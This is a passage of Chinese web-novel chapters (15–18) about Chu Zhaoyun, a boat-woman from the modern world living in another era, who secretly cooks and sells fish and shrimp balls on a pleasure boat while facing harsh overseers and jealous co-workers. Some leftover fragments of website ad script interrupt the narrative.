她将门拴好,坐回来道:“今个您吃一碗扁食五文,买被单又给我添了一文,所以我欠您六文。毕竟,要不是为了卖鱼丸,您也不会买扁食吃,这个钱理应我出。” “再者说,我今后还不知何时才能下船去。刘新才那边,日后或许也少不了要您跑腿。这天越发寒冷,您腿脚又不便,我再不懂事也做不出叫您白跑的事来。” 这番话在理,刁氏听得心中也暖,但她还是推脱道:“哎哟朝云那,你何必跟婶子算的这样清楚,我跑跑腿不要紧的!” “不成不成。” 褚朝云难得认真道:“该如何就要如何,您若由着我占便宜,那我这生意可就做不下去了……” 15. 第 15 章 这边话聊得热火朝天,那边的徐香荷却走也不是留也不是。 徐香荷是有自知之明的,来船上这几日,自己可是处处都被褚朝云照应着。现下这个话题恐不好被旁人知晓,而她这个“旁人”,偏偏听得一清二楚。 二人似是聊忘了,也才想起她还在。 褚朝云和徐香荷视线对上,后者憋了个大红脸,转瞬,便抬着手的做保证:“你、你们放心,这事打死我都不会说出去的!绝不会!!” 褚朝云微微一笑,却说了句让徐香荷出乎意料的话:“发誓这东西最是无用,我才不信。” 否则每年那么多电闪雷鸣,都是准备劈谁的呢。 她在心中调侃道。 不待徐香荷进一步表态,褚朝云转脸看向刁氏:“婶子,这两日我想想法子,争取下次下船多卖点银钱。” 刁氏连连点头:“说的是,先絮十文钱的棉花也是好的。” “不不。” 褚朝云笑道:“我是想麻烦您,再给香荷也弄张被单来。” 褚朝云语出惊人,刁氏不免有些怔愣,可最是惊讶的,还要数徐香荷本人。 徐香荷干瘪的唇颤抖两下,几乎不知该说什么好。 褚朝云笑眯眯地看着她,一脸“奸商”模样:“先别忙着感动,你得给我干活,报酬要用劳动来换,自己赚的,用起来也心安理得不是?” 徐香荷当然想要帮忙,却摊着手不知这忙该如何帮。 褚朝云想的明白,秘密从来都是守不住的,想要放心徐香荷,最好的办法就是把人拉进来。 上次见徐香荷凫水技能过硬,她就已经有了这个念头,所以和刁氏聊这事时,才没太忌讳什么。 褚朝云虽当不了圣母,但心眼不坏。 后续的话可以慢慢再说,也不急这一时,褚朝云拉上徐香荷打算各回各房,刁氏就喊住了他们,“别忙走,咱娘仨把这扁食分了吧。” 褚朝云和徐香荷年岁相仿,确实是能给刁氏做闺女的年纪,刁氏喊得这样亲近,褚朝云鼻尖酸涩,差点掉下泪来。 有娘亲护着的原主,想必曾经也是幸福的吧。 三人有说有笑的分吃了扁食,褚朝云也赶紧回了隔间躺着,那柴劈的身上是暖点,但也顶不了太久。 尤其薄汗未消,再被那冷风灌一顿,这还真是痛并快乐着…… 午后的活计有些杂,褚朝云临时缝补了一批衣裳,又接到要给赵大几个管事、工头做棉衣的任务。 需要缝制的棉衣并不太多,毕竟管事和工头加起来也没几人。 一些船娘面含菜色,眼珠子气的发红,但却不敢吭哧一声。 褚朝云也不大舒坦,这些王八羔子不拿他们当人,自己倒是知道要吃饱穿暖。 褚朝云跟刁氏打听过,有些做的年头多的船娘刚来时也是硬熬的,直到月例攒够了,才托她下船捎带回点东西,“家当”也算是一点一点累积起来的。 好在蕤洲的冬天不会像北方那么寒冷,就连河面,也是不结冰的。 但那些捱过来的船娘着实不易,身子糟了,之后也很难再养回来。 褚朝云从前是社畜,熬夜加班累的满身毛病,个中滋味她深有体会。 也正因知晓这一点,她才尽可能的不亏待自己。 褚朝云计算着过冬要预备的物什,心中叹息,缺的东西实在是多,还真是形势逼人啊。 她拿着针线比比划划,压根就不懂怎么做棉衣,有些来这里不久的和她一样抓瞎,钟管事就安排些资历老的船娘带着他们。 刁氏自然是要帮着她和徐香荷的,钟管事扬扬下巴算是默许,也没再往他们这堆里多塞人。 褚朝云学的认真,很快就能自己上手。起先,她还藏了点小心思,打算寻机偷藏些棉花,管事和几个小工头用的都是上好的棉花,价格恐怕是他们想都不敢想的。 但也正因为如此,管事们看得格外紧些。 钟管事、李婆子以及赵大全都来了,一人看管几名船娘,褚朝云一丝棉都留不下。 这一下午活计干的腰酸背痛,没做完的布料和棉花被管事们收走,被告知明日继续后,就叫他们先散了。 徐香荷跟着钟管事去小船考核,褚朝云就和刁氏先回来了。 褚朝云本想歇歇,奈何她还得把芦苇装进被单里,若等待会儿天黑了,夜里做活就太伤眼睛了。 刁氏心中也惦着这事,没怎么歇气就跟过来帮忙。 褚朝云抻着单子一头,一把一把往里边塞芦苇,塞好铺匀称后,就拿起针线慢慢的缝。 “不成,这几日可真是累人,今晚必须弄点好的来吃!” 她冷不丁哀嚎一声。 刁氏带回的扁食她吃着其实有些一般,一个是放的太凉,一个也是馅料不合口味。 褚朝云是不爱吃萝卜和豆腐的,而刘新才也只是在馅料里放了些盐,比起厨娘自制的调味品,差的不是一星半点。 回味起那小坛子装的调味料,褚朝云心中有疑。 她接连去了几日厨房,也都有仔细观察过,大祁朝似乎没有辣椒,但那调味料吃起来是有辣味的。她对古代的生活并不了解,也想不出什么东西能替代辣椒。 她绞尽脑汁,最后只想到了川椒,麻椒,胡椒,或者是芥末。 这些她都吃过,只能说厨娘自制的细粉里,有淡淡的胡椒味,可胡椒和她尝到的辣味还是大有不同。 说话间,褚朝云已经锁好了边。 刁氏起身捶了几下腰,笑道:“蕤河里能吃的东西实在有限,还哪里有好吃的了。” 褚朝云点点下巴做思索状,没有应声。 …… 夜晚是花船生意最忙的时候,钟管事手下用着几个婆子,婆子和赵大手下的工头差不多,都是听管事们直接差遣,只是干的活不同罢了。 钟管事的婆子们除了给船娘们派活,剩下的便是负责给客人们端茶送菜。 他们忙起来,刚好就是船娘们最松泛的时候,褚朝云从暗仓出来上茅房,还没等进去就被一个婆子拽住了。 “你,把这壶酒送三层蕙娘那屋去。” 婆子说着将酒壶往她怀里一撂,就推开门捂着肚子抢先进去了。 褚朝云:“……” 婆子进去的时候“哎呦”个不停,看来一时半会也出不来了,褚朝云不算太急,就只好端着那壶酒往木梯处走。 她低着头, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 迈着小步,除却偶尔撩一眼雅间的方向,倒也没什么心思注意别的。 走到二层时,里侧的雅间处似乎有几名客人在争吵,别的房里乐声交杂,褚朝云听不清他们说的什么,只是瞧见钟管事再给客人们赔笑脸。 褚朝云诧然,她还是第一次看到钟管事笑。 虽是硬挤的,但气质却也温敛多了。 褚朝云不敢停留,收回视线继续往上走,没到三层便先听到有女人哭的声音,似是哭的很压抑,声音闷闷地,大概是紧紧捂着嘴巴才会如此。 她要来的就是三层。 本想借机看一眼是谁再哭,但对方或许是听到了她的脚步声,哭声顿时就消下去了。 蕙娘也是雅间的姑娘,不过褚朝云没什么印象。 未免她破衣娄嗖的样子污了客人耳目,褚朝云来到雅间门旁时轻轻咳了一声,蕙娘很快开了房门,看到她时便愣了下。 褚朝云也没解释,将托盘递上去,全程无交流。 蕙娘温声道了句“辛苦姑娘”,就动作轻缓的关上了门。 褚朝云在一阵阵乐声和推杯换盏的笑闹声中下了木梯,重新回到了满是酸臭的暗仓。 她此时感慨颇多,虽说姑娘们那处温香软风好不热闹,也不过是各有各的酸楚罢了。 感慨完,她就钻进被窝里准备小憩一会儿。 不知不觉,褚朝云竟在这温暖的被窝里睡熟了,直到听见门板被轻轻敲响,以及徐香荷唤她的声音,她才冷不防的坐起来。 开门看到徐香荷,褚朝云低声问了句:“现在什么时辰了?” “子时了。” 徐香荷其实也猜出褚朝云可能是睡着了,但一想到晚饭还没吃,明个一早睁眼便得干活,她怕褚朝云也挨不住,就只好过来叫门。 褚朝云示意她进门,先问了声她考核过没,就从床板下摸出之前做的简易网兜来。 徐香荷欣慰一笑:“过了,还挺顺利。” 又看到这似模似样的渔网,便疑惑道:“咱们这是去抓笋壳鱼?” 褚朝云眨眨眼,收着声神秘兮兮道:“不,今天抓点别的来。” 徐香荷是不懂褚朝云再想什么,反正她只管跟着走。 褚朝云从木梯露头,躲着码头那侧的看守绕去另一侧,指指镶在船壁上的船梯道:“咱们从这里下去,往那头靠岸的地方游,你跟着我,别弄出动静。” 徐香荷谨慎的点点头,二人便忍着水凉,一前一后下去了。 到了浅水区,两个人光脚踩在水下的泥土上,身子也慢慢站的稳了。 这处上方有栏杆,连接的壁垒泥土构造成弓形,距离上面远的很,也刚好形成个隐蔽点。褚朝云已经熟路子了,每次抓鱼都往这边来。 她拿着网子问徐香荷“会不会用”,见对方摇头,就小声道:“我给你做个示范,等会儿你就用这网子往草丛里兜,要是兜到鱼啊旁的什么,放生就行。” 褚朝云说着便兜了一下。 其实这一下她也说不准能不能抓到,但往里一看,今天还真有些运气在身上。 褚朝云将网子里的小东西拎到徐香荷面前,晃了晃,眉眼弯弯道:“看到没,今个咱们就要它!” 16. 第 16 章 褚朝云下来前从厨房里拿了个小竹筐,口小但深,刚好用来装这河虾。 靠近花船附近这一片嫌少有渔船过来,所以这边的河虾都生的肥,个头也壮,瞧着就让人流口水。 徐香荷看到被捏住的小东西,也忍不住惊呼一声:“是河虾?!” 河虾可是好东西,市价也比普通的笋壳鱼要贵一些,虽不说是什么稀罕物吧,但不太富裕的人家还真吃不上。 徐家早期还成,渐渐地财产也被徐老爷败光不少。徐香荷也就儿时吃过几次虾,自打生母归天后,很多原先吃过的好东西,慢慢的也就没得口福了。 徐香荷干巴巴地咽着口水,将竹筐递来,褚朝云把河虾丢进去,顺手连渔网也给她了。 徐香荷本想问褚朝云没网子怎么抓,就见褚朝云手快的撸起两旁袖子,不用襻膊也能把袖口卷的很齐整。 随后,褚朝云弯下身来借着月光往草缝里看,跟着双手微弯,对着那缝隙快狠准的一扣,一只小虾就进了她的掌心里。 但她也没那么神,扑空时有。 二人各自忙活了好一会儿,也不过才抓了小半筐虾。 褚朝云一抹脑门的汗,抬抬下巴:“差不多够吃一顿就行了,你先带着筐和工具回船上去,我薅一把香蒲就来。” 褚朝云说着潜入水里往远游一点,不多时,就湿淋淋的上了船。 进厨房的事她还是不能叫徐香荷跟着,便叫她晾干了赶紧先回刁氏那歇着。 褚朝云抖抖水,进门后就忙着洗虾,又给河虾按个开背,取了虾线,才去给香蒲茎焯水。 河里的水生植物是不少,但绿色的蔬菜味道大差不差,褚朝云也不愿意费事的去找,索性认准了香蒲就一直吃它了。 备好菜后,褚朝云便起锅烧油开始炒虾。 炉火的热气顺便帮她烘干了衣裤,褚朝云在厨房做饭,还觉得挺暖和。 虾炒的金黄泛红,软壳也变得酥硬之后,褚朝云就取了一点香蒲茎碎加进来一块炒。 直到炒的干了锅,又放入一把调味品,辛辣油香的味道就溢满了不大的小厨房。 因着调味料有胡椒味,褚朝云便勉强将这道菜称作是“椒盐虾”了。 锅子里剩下的虾油她也没放过,煸炒过的香气依然保留,褚朝云趁机添了些水,又把余下的香蒲茎一股脑都放进去,做了道鲜汤出来。 回到刁氏那时,徐香荷的衣裳也干的差不多了。 褚朝云把干馍的硬壳扒掉,掰成小块放到自己的汤碗里,馍被泡的软烂,也沾上了些鲜味。 刁氏和徐香荷面面相觑,异口同声问她:“你这是什么怪吃法?” 褚朝云想来想去,笑道:“这可不怪,你们可以叫它‘虾汤泡馍’!” 褚朝云其实只吃过羊肉泡馍,但眼下吃不起羊肉,只能喝点虾汤,也是别有一番滋味的。 她见馍泡的差不多了,就先喝了口尝味道,褚朝云觉得古代的河虾吃着要比现世的更鲜,因为都是野生的,味道上还是有点区别。 这次不等他们问,褚朝云主动夹起盘子里的虾,脱壳,放在嘴巴里嚼嚼嚼,然后科普道:“这道叫做椒盐虾,你们也快尝尝!” 徐香荷想吃虾很久了,她腼腆的挑了只小一些的来吃。 一口下去,眼睛就睁的滴溜圆:“唔唔唔,炒的焦香焦香的,我还是第一次吃到这种!” “你们那不这么做虾?” 褚朝云好奇问。 徐香荷咽下后又紧着喝口汤,然后应道:“是有炒来吃的,但味道和这个还是不太一样。” 褚朝云听罢又去看刁氏,刁氏局促的摇摇头:“我就没吃过虾。” 想到蕤洲早些年的状况,褚朝云便明了了。 …… 这顿过后,褚朝云就喊徐香荷每晚跟她下河去抓虾,除了河虾,她也会留心抓些笋壳鱼备用。 有时给姑娘们做饭的差事是临时才说,褚朝云还要给刘新才准备三十颗鱼丸,不提前预备出来,总怕来不及弄。 她把抓来的鱼虾藏到筐底,若是第二日没用上,晚间就给刁氏和徐香荷做来吃了。 不过接连几日,褚朝云都没等到这样的差事。 这天三人又聚在一块给管事们做棉衣,连一向稳妥的褚朝云都有些急了,“这生意做得窝火,想来刘新才那头一定也等的冒火,我怕是要失信于他了。” 做生意最讲信誉,褚朝云总怕在刘新才那坏了印象。 不过好在做鱼丸的手艺只有她会,且即便刘新才能研究的出来,那独特的调味料对方也没地方找去。 虽不太厚道,但她也只能这么宽慰自己了。 褚朝云正琢磨着,突然想起刁氏若是下去送饭,就能跟院子里的姑娘们说上话。 她四下望了望,对上钟管事投来的视线,便不动声色的侧过身,低声和刁氏说:“婶子,您日后再去送吃食,烦劳帮我打听一下褚惜兰的情况吧。” 褚朝云偶尔还能见到几回褚郁,即便褚郁过的也很狼狈,但总归她能看得到。 算起来,她有好久没见到过褚惜兰了。 李婆子前几日才说新晋的姑娘们快要上船,她还期盼来着,可说归说,到了今日她也没瞧见一个姑娘的影儿。 李婆子简直满嘴放炮。 褚朝云偷偷白了那老太婆一眼。 刁氏知道她们姐弟三人都陷在这个鬼地方,轻轻“嗯”过一声,见钟管事依旧盯着他们,便看着褚朝云高声道:“你这里弄得不对,拆了重新缝,我先给你打个样子,你学着。” 褚朝云明白刁氏的意思,也佯装虚心请教道:“好,那我马上拆掉。” 钟管事收回目光,余光瞥一眼往船栏磕烟袋锅子的李婆子,眉头轻蹙,后又将视线落去其他船娘那。 接近傍晚时,褚朝云终于等来了送饭的任务。 她虽内心雀跃,但也不敢表露出来,顶着一众船娘艳羡的目光,褚朝云快步进入厨房去准备了。 褚朝云敢这么明目张胆的公器私用,实则也是钻了个小空子。 外请的厨娘备饭时,是不准有旁人在场的,偶尔需要打个下手的活计,厨娘不是自己带人来,就是要婆子们在门口候着。 毕竟靠这门手艺过活,她警醒着也没错。 而厨娘离开后,除了一些进去给客人拿饭食的婆子,基本没谁长久的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在里面逗留,褚朝云大可放下心来,只要动作快点就行了。 她一进门就开始切鱼肉腌制,余下的空隙又来剥虾。 因为下船的机会难得,她这几日想了很久,这次除了交货那三十颗鱼丸,她还打算在做些虾丸来。 而且虾比鱼贵些,虾丸自然也比鱼丸价高。 褚朝云好不容易逮到机会,一口气做了三十多颗鱼丸并三十颗虾丸。 多出来的鱼丸给姑娘煮粥,弄好后,她干脆的装好食盒,拎着都觉分量不轻。 褚朝云亲自把食盒交给刁氏,又嘀咕了声什么,刁氏给了她一个放心的表情,就提着往艞板处走。 西码头站着的刚好是赵大,赵大见刁氏过来,便要抬手去接,刁氏立马赔着笑脸躲开了,“我手里的活计都忙完了,今儿也不必麻烦管事,我亲自送去就好。” 赵大向来疑心重,瞥一眼她不太灵便的腿脚,挑眉问:“最近怎么这么勤快?” 刁氏心中愤愤,面上却不显,只能叹息着卖了个惨:“眼看天要冷了,我也想下去买些东西来御寒,请管事体谅。” 赵大听罢嗤出一声,满眼皆是“你的命蝼蚁不如”的意思,但也懒散的让开了路。 不用他去更好,他还不屑去。 褚朝云见刁氏卡在赵大那,担忧了好一会儿。 做不完的棉衣再度被收上去,钟管事和李婆子便一同去了临时休息的地方歇着。 管事不在,方脸船娘才敢出声,她似是故意等着褚朝云过来,而后念念叨叨的看着身边船娘:“又是她去做饭!刁氏忙活不动了,也该公平着轮换了吧?” 另一人道:“那日听了姑娘们一句闲言,好像是说朝云丫头做的饭香,是姑娘们自己指明要她去做的。” “是呀是呀,再说这事是管事说的算,也不是朝云能决定的……” 瘦长脸的也忙道。 方脸船娘脖子一梗,不争气的白他们一眼:“她以为自己是厨娘?姑娘们是吃惯厨娘手艺的人,她做的能好吃到哪?怎么旁人说点什么你们都信?!” 那二人还想再劝,可见劝不动方脸船娘,也就作罢了。 其实他们心中也很不甘,争做饭活计不为别的,除了想要偷吃一口,也是打算趁机多接近钟管事。 巴结了管事,总会有点油水,他们想当然的认为刁氏就是例子。 每个船娘刚一上船,钟管事循例讲规矩,都会把“给姑娘们做饭食”这事提一嘴,但这许多年来,真正进过厨房的就只有刁氏一人。 都已经上了船了,还哪有什么公平可言。 钟管事就是爱叫刁氏去,他们也拦不住。 前阵子大家偶然发现今年刁氏的腿病似乎格外严重,多少还有点窃喜,以为终于要轮到自己了,却不成想差事又落到了褚朝云的头上。 褚朝云在他们眼中并没什么特别,甚至他们还觉得相比起来,自己的资历更老一些。 见褚朝云不理他们,而是自顾的回了暗仓,方脸船娘终于按捺不住。 她猛地一丢手里的布巾,起身就跟了下去,“我今日,必须要去跟褚朝云说道说道!大家都是一样的,她凭什么?!” 17. 第 17 章 方脸船娘一嗓子闹得动静不小,且他们仨说话时,有爱凑热闹的也围上来听了一耳朵。 见方脸船娘真要下去,几人顿时壮起胆子,连带着刚刚帮褚朝云说情的二人都动摇了。 走在后排的船娘推搡了下他们,眉眼一耷:“我说你们俩是不是傻?叫他们争去呗!咱们只管跟着,若是他们争赢了,你我也不能落下这好处。” 话毕,一行人浩浩荡荡,却又格外注意着下梯的脚步。 他们敢朝褚朝云发脾气耍横,却是如何都不敢惊动管事们的。 褚朝云回了隔间歇息,针线活做久了手指起了厚厚的茧,茧子像个硬盖儿一样在指腹间凸起,高高低低的被握久了的针压出道印痕。 怎么说呢。 摸起来很不舒服,按下去也有点痛。 从没遭过这种罪的她正怀念现世的护手霜,便听到走道里传来些凌乱的脚步声。 有时候女人的直觉很准,褚朝云总觉得这脚步是冲她来的,低头扫了眼床板上的被单,她飞快走出去并带上了门。 带头的船娘见她站在门边,不善的哼出一声:“瞧瞧,有些人就是心虚,不等咱们找过去,就主动先出来了。” 方脸婶子一脸嘲讽,但是发言很有煽动力。 就那么一句话,大家看向褚朝云的眼神就全都变了。 褚朝云是不想事情闹大的,免得那些管事知道了,不分青红皂白的打人,连她都要吃瓜落。 她眼珠转转,而后弯起眉头笑道:“婶子们怎么过来了?是找朝云有事吗?” 或许是褚朝云态度太过和善,方脸婶子气势更凶:“少给我装蒜,你才来这船上几日?花船还轮不到你当家!我那日问你是谁准许你进厨房的,你却敷衍了事不肯讲!今日我可告诉你,进厨房的事儿我们人人有份,你别想独占!” 方脸船娘斥完,余下几人也七嘴八舌的应和开了。 “对,你别想。” “是啊朝云,你咋能这样做呢?做人良心不要太坏啊。” “刁氏干不动了,轮也该轮上我们,哪里有你的份啊?你才来几天,懂不懂规矩啊!” 众船娘咄咄逼人的瞪向她,褚朝云往门旁一倚,笑意也淡了下去。 她当然想过会有这一天,就是没想到来的这么快。 褚朝云思虑片刻,看着方脸船娘道:“这花船当然轮不到我当家,但好像也轮不到婶子你吧?当初刁婶子能进厨房自是钟管事指派,那我就更不用说了,若非钟管事准许,我要是擅自进去,这会儿就该挨鞭子了。” 说完,她摸摸鼻尖,做出一头雾水的样子:“这么粗浅的道理我以为婶子你会懂,所以你这脾气倒发的奇怪。” 据褚朝云所知,花船生意存在的年头不短,既然钟管事只指派刁氏,那就表明这差事没有轮换的规矩。 而她最初讨好刁氏是取了巧,但钟管事要是不肯,刁氏嘴皮子说破了也无用。 这也就表示,即便刁氏不去举荐,钟管事也有要她顶上的意思。 这些端倪,从管事指派她教徐香荷摇橹就能看出来。 褚朝云不糊涂,但她觉得这些干了多年的船娘,好像并不太清醒。 她的解释不起什么作用,人只喜欢听自己想听的,方脸船娘无理辩三分,一个劲的辱骂,只是想要发泄怨气。 其余船娘见有“冲锋陷阵”的,当然也不肯放过这个良机。 褚朝云脸色冷下来,拍掌叫停他们:“无需在这扯皮,有疑问的现在就跟我去见钟管事,你们亲自问问便知。有想自荐的刚好一并说了,不论钟管事最终怎样决定,我这里都是没问题的。” 她的态度坦坦荡荡。 可大家伙一听到要去见管事,却全都偃旗息鼓了。 褚朝云视线落在方脸船娘那,冷笑:“婶子认为我这个主意如何呢?” 方脸船娘闷不吭声的耷拉着眼皮,听她问也没吭气。 大家心知肚明是钟管事中意褚朝云在先,没有理的事情,说了也是白说,搞不好还会挨赵大的打。 一伙人无声无息的散了,只是人虽然不敢闹了,可他们却恨上了褚朝云。 乱七八糟的事情褚朝云在职场见多了,当然没把这点小打小闹放心上,她活动活动酸痛的胳膊,又搓搓手指活血,就回屋里去躺着了。 - 刁氏此刻正坐在院子里和一个姑娘说话,那姑娘吃着香喷喷的鱼丸粥,一张小脸被熏的红扑扑。 鱼丸粥很快见了底,姑娘舔舔木勺意犹未尽。 “春叶姐姐果然没骗我,朝云姑娘做的粥可真香,我明个还想吃,就是不敢总提。” 刁氏长了心眼,笑着说道:“你们可以算着日子轮流提,别叫李婆子察觉便好,也不妨跟李婆子说说换个大食盒来,这样一次能多送几碗。朝云那丫头不只会煮粥,其他吃食做的也是不错的。” 姑娘被提醒,眼睛顿时亮起来:“刁婶子这主意好极了,我们怎么就没想到换大食盒的事儿呢!” 刁氏提议换食盒自然是私心,食盒容量大了,褚朝云才能多做点丸子来。 姑娘说着哀叹一声,表情有点苦闷:“婶子你是不知道,厨娘的手艺虽好,可客人在旁,哪怕是宫里的御厨做的御膳,咱们也是吃不香的。” 刁氏懂姑娘们的苦楚。 想到褚朝云的嘱咐,便又道:“丫头,婶子想跟你打听个事。” “你说就好!” 姑娘很乐意帮忙,说话间将椅子也拉的近了些。 刁氏压低些声音,问出了“褚惜兰”的名字。 只是一听这个名字,姑娘便惊怔道:“褚惜兰?婶子好端端的怎么问起她——等等!褚惜兰……褚朝云……都姓褚,莫非?” 刁氏忙点头,并做了个“嘘”的手势。 姑娘呼出口气,声音更小,连表情都不免谨慎了些:“原本,隔壁院那些新来的姑娘几日前就能上船了,不过听说有位褚姓的姐姐学东西慢些,连背一首诗都需四五日。” 刁氏似是听出些门道,“然后呢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 姑娘欲言又止:“李婆子嫌弃她蠢笨,有两日还住到她房中,日里夜里没完的教。直到实在忍无可忍……就一顿鞭子抽到她下不了地,暂时也没心思安排其他姑娘上船了。” “那……只有这一位褚姓的姑娘么?” 刁氏心中虽已有数,但还是不死心的多问了句。 姑娘一脸无奈的点头,“李婆子很怕在明面上叫我们留伤,这次看来是真急了。” 刁氏不宜在院子里逗留太久,她起身收了碗筷,拎上食盒出门去了。 再次来到面食铺子前,她还真有些胆怯,正想缓缓在进门,就和端着餐盘的刘新才撞了个对脸。 刘新才看到她先是一愣,随即一把将餐盘丢到灶台处,快步上来道:“哎哟我的刁娘子喂!您怎么才露面啊,可真是叫我好等呢!” 刁氏红了脸,满面歉意:“那日走得急也忘了跟你说,日日来供货于我们而言,现下是有些困难的。” “啊……这……” 刘新才苦恼的挠挠头。 刁氏见他一脸丧样,便紧着问了句:“那些鱼丸……卖的还好吗?” “好啊,好得很呢!” 一说到这个,刘老板顿时来了兴致,尤其看到她拎着的食盒,便笑的讨好:“怎么样,三十颗鱼丸可带来了?” “带来了。” 刁氏示意他拿两个盘来,顺便端出虾丸说:“除了鱼丸,我又带了些新鲜货,刘老板可要试吃一颗?” 刘新才眯着眼睛轻嗅了下,一股鲜虾的香味:“这该不会是虾肉做的吧?你家姑娘还真有一双巧手。” 刁氏不置可否。 刘新才先付了鱼丸的账,然后应道:“我信得过你们的手艺,虾丸便不尝了,免得浪费,只是这价格?” 刁氏伸出一根指头:“一文,一个。” 刘新才呵呵笑:“有些小贵,这生意以后还要长久的做,要不咱们来打个商量?” 刘新才是想还还价,而刁氏听后,却忍不住笑了一下。 心说褚朝云还真是神了,一早就猜到刘老板要还价,并且还帮她想好了说辞。 刁氏佯作踌躇,然后摇头道:“不行,虾本就贵,一文一个实在没办法再让。且我家姑娘手里还有新鲜玩意,她很能琢磨花样的。” 说罢,又试探道:“满蕤洲也没别家会做这些,要不,刘老板再考虑看看?” 刘新才表情凝重了些。 他知晓刁氏说的没错。 这几日刁氏没来时,他还真急的出去寻过,但别家没有,也不会做。 他也自己尝试着做了做,做的不好,主要是不好吃,味道相差太远。 刘新才思忖再三,便从荷包里取出三十文:“那就辛苦刁娘子和你家姑娘了。” 刁氏喜出望外,小心的收好银钱就奔着布匹铺子去了。 十文买了张被单,又十文买了两个枕套,去除褚朝云说要还她的银钱,便将剩下的十五文用布巾包好,喜滋滋的回了船上。 18. 第 18 章 刘新才这次又预定了鱼丸、虾丸各三十,毕竟是熟的吃食,放太久也容易坏。 因为有银钱赚,刁氏觉得船上的日子都不那么难熬了。 只是她一回来就被刚干完活的徐香荷截住,褚朝云被船娘们质问的时候,徐香荷被指派去清洗小船,并不知晓暗仓发生的事。 等她得到消息要去找那些船娘理论两句,刁氏就回来了。 “婶子,朝云帮我那么多,我不能叫他们欺负朝云,我得去!” 徐香荷气的眼睛发红。 刁氏一听也不太爽快。 二人站在风口处争抢,都想帮着褚朝云去理论理论,正说着话,钟管事便从身后走了上来。 “你们在干什么?” 钟管事冷肃的声音听得二人心头一颤。 徐香荷到底年岁小,一时怒火冲头,就想把这事回了管事,好叫管事分辨分辨。 不过还没等开口,“黄雀在后”的褚朝云就疾步跑了上来。 她先是笑意盈盈地跟钟管事打了声招呼,然后才拉住刁氏和徐香荷,一边往暗仓处走,一边笑道:“婶子怎么才回来,我跟香荷还等着您呢!早前我棉衣袖口那裁宽了,正琢磨明个要怎么改才不浪费料子……” 三人越走越远,转眼就下了木梯。 钟管事收回视线,休息间的李婆子也出来了,李婆子整日抽她那烟袋锅子,一口牙稀疏泛黄,嘴巴里也臭的很。 钟管事正要走,李婆子就凑过来恶狠狠啐了声:“哼,我压根就没瞧得上那褚朝云,本就长得黑不出溜,脑子也不灵光,这辈子啊,她就只配当个下等船娘的命!” 说完,呵呵冷笑。 钟管事不动声色的挪开一步,手帕掩住鼻子道:“可不是么。” 褚朝云一路将刁氏和徐香荷拉至隔间,脚下迈的急,刁氏那腿脚险些没跟上。 直到屁股挨上絮满厚棉的被褥,她才轻缓口气道:“你们理那些船娘做什么?今个这事不宜闹大,莫要指望管事们有同情心,否则咱们还会在这儿么?” 刁氏平日里稳重,方才也有些头脑发热。 现下虽清醒,但还是谨慎道:“话是不假,但若因此事导致你和大家伙有了隔阂,对你总是不好。” 徐香荷也跟着点头:“而且那婶子算盘打的好响,今个闹这么一出哪是为了要什么公道?她明知要谁进厨房这事是钟管事决定,呜呜泱泱哄来一群人瞎搅和,不过是为了想给你施压,好叫你自个去钟管事那请辞,这样他们也就能得逞了!” 徐香荷的话说到了点子上。 褚朝云和刁氏都不傻,自然明白方脸婶子的那点猫腻。 褚朝云笑着看了眼徐香荷,轻摆下手叫她“稍安勿躁”,而后,就把视线落在了刁氏的食盒上。 刁氏把那十五文,连着被单、枕套一并递给了她,然后才说:“十五文买不了多少棉,这钱我便没敢花。” 褚朝云攥紧被握的热乎的银钱,心中多了几分动力和干劲,“先攒着也是好的。” 她应过一声,就一脸希冀的看着对方。 刁氏知晓她惦记自己的姐姐,便把那院中姑娘的话一字不漏学了一遍。 三人挤坐在床,话毕皆是一阵沉默。 褚朝云不喜什么都露在表面,但徐香荷是个藏不住话的。 她握住身旁人的手背,粗糙干裂的皮肤深处,碎瓷片割出来的疤痕狰狞可怖,可徐香荷半点都没被吓住,反而低声哀叹:“惜兰姐装作学不会,是想拖延上船的日期吧,奈何……” 褚朝云搓搓手上那道疤,新生的皮肉粉嫩,和旁的肤色相差甚远。 她用手按了下,粉色边缘顿时泛白,再松开时,颜色又慢慢恢复过来。 褚朝云移开视线,“不说这些了,趁着还能多歇会儿,婶子您快教教我料子裁宽了要怎么补救吧?” 刁氏哭笑不得:“你刚不是托词?” “托什么词,我是真不会。” 褚朝云“咯咯咯”笑起来,笑声明快,而后一把拉过针线筐,另一手拽住徐香荷,故作犀利道:“妮子也别跑,跟我一块学着。” 徐香荷一想到赵大他们有厚棉衣穿就来气,不免噘嘴:“那么认真做什么?缝的不紧漏风才好,寒冬腊月的,冻死他们这些不是人的!” 褚朝云不赞同的白她一眼:“傻,学会了就能给自己做棉衣了,难不成你也要冻着?” “朝云你——” 徐香荷瞪大眼珠子,有几分不敢置信。 他们这些船娘里,哪怕最得钟管事脸的刁婶子,也穿不起棉衣。 就连身下坐着的这条棉被,那也是攒了无数个月才辛苦得来的,珍贵的和命一样。 褚朝云“嘘”了声,捡出几片碎布练手:“来来,赶紧学起来。” - 给赵大几人的棉衣已经做了差不多半月,这日,活计却突然繁重起来。 赵大一再上来催促叫他们快些,而那厨娘今日又要做鱼宴,成筐的鱼被婆子们抬来,一股脑就倒在了船尾处。 鱼等着他们收拾,棉衣又要紧着交工,一早有位船娘清扫雅间时还不慎从木梯跌了下来,一时间,这清扫的活计也突然缺了个人干。 钟管事一走过来,不用开口大家伙就知道她来作何。 方脸船娘笑呵呵,主动讨好道:“朝云丫头年轻,干活也干脆,理应照顾我们这些年迈的!不就是扫个雅间,她去就好了。” 若在以往,她还真不敢出这个头。 但今时不同往日,她一开口,其余人果然跟着附和起来。 “是啊,朝云是个热心肠。” “再说,能者多劳嘛。” 钟管事闻声眉梢微动,似笑非笑的瞥去一眼,然后便看向了忙着穿针引线的褚朝云。 二人视线对上,褚朝云却大大方方站起身来,像是听不懂那些船娘们的暗讽,提着桶就去一边接水了。 既然今个活多,大家自然要赶着要紧的干。 鱼中午得做,大家便想着先收拾干净了鱼,再把棉衣好好收了尾。 褚朝云独自一人去了三层,挨个雅间洗刷起来,不时站在船头歇口气,一双眼望向西码头戴着幞头的劳工,人群中的褚郁正抹了汗,费力的搬着货物往前走。 